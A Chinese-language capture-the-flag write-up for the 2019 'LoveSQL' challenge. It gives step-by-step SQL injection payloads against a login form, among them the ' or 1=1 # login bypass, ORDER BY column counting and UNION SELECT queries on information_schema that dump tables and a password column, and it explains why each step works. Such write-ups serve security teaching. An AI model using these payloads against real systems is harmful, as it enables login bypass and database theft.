极客大挑战2019-LoveSQL

这是一道无过滤单引号字符型 SQL 注入 ,核心用联合查询脱库拿 flag,全程手工可通,无需工具。


一、核心解题思路

  1. 登录框→优先测 SQL 注入,用单引号判断字符型注入
  2. 万能密码绕过登录,确认注入可用
  3. order by判断查询字段数
  4. 联合查询查库→查表→查字段→查数据
  5. 目标表l0ve1ysq1password字段存 flag

二、完整操作步骤(直接复制 Payload)

1. 判断注入点(单引号字符型)

  • 用户名:admin'
  • 密码:123
  • 现象:报SQL 语法错误 ,确认是单引号闭合的字符型注入

2. 万能密码登录绕过

  • 用户名:' or 1=1 #
  • 密码:123
  • 结果:Login Success! Hello admin!,登录成功

3. 判断字段数(order by)

依次试:

  • a' order by 1 -- a
  • a' order by 2 -- a
  • a' order by 3 -- a
  • a' order by 4 -- a
  • 到 4 时报错:Unknown column '4'字段数 = 3

4. 查当前数据库

  • 用户名:a' union select 1,database(),3 -- a
  • 密码:111
  • 得到:geek

5. 查数据库里的表

  • 用户名:

    a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a

  • 得到表:geekuser、l0ve1ysq1(flag 在 l0ve1ysq1)

6. 查 l0ve1ysq1 表的字段

  • 用户名:

    a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 -- a

  • 得到字段:id、username、password

7. 查 password 字段拿 flag

  • 用户名:

    a' union select 1,(select group_concat(password) from l0ve1ysq1),3 -- a

  • 页面 / 源码中得到:flag{a8c4dfbe30b89a18346f305e2152b702}


三、关键原理(为什么这么做)

  1. 单引号闭合 :原语句类似 select * from user where username='$name'输入a' or true -- a→变成:select * from user where username='a' or true -- a'条件恒真,登录绕过
  2. 联合查询union select拼接查询,用2、3位回显数据
  3. information_schema:MySQL 系统库,存所有库、表、字段信息
  4. group_concat:把多行结果拼成一行,方便页面显示
相关推荐
码农阿豪1 小时前
Go 语言操作金仓数据库(上篇):环境搭建与连接管理
开发语言·数据库·golang
码农阿豪1 小时前
Go 语言操作金仓数据库(下篇):SQL 执行、类型映射与超时控制
数据库·sql·golang
IronMurphy1 小时前
Redis拷打第二讲
数据库·redis·缓存
星月昭铭1 小时前
5步在Trae中配置SQLcl MCP,让AI直接操作Oracle数据库
数据库·oracle·ai编程
phltxy2 小时前
Redis Set:原理、命令与实战场景详解
数据库·redis·缓存
他是龙5512 小时前
SQLi-Labs 通关笔记(Less-38 ~ Less-53):堆叠注入与 ORDER BY 注入
数据库·笔记·less
今天也是元气满满的一天呢2 小时前
20260512-SQL学习大览
数据库·sql·学习
北秋,2 小时前
Web Security Academy 第二关:SQL 注入登录绕过
数据库·sql
思麟呀2 小时前
MySQL基础CRUD语句
数据库·mysql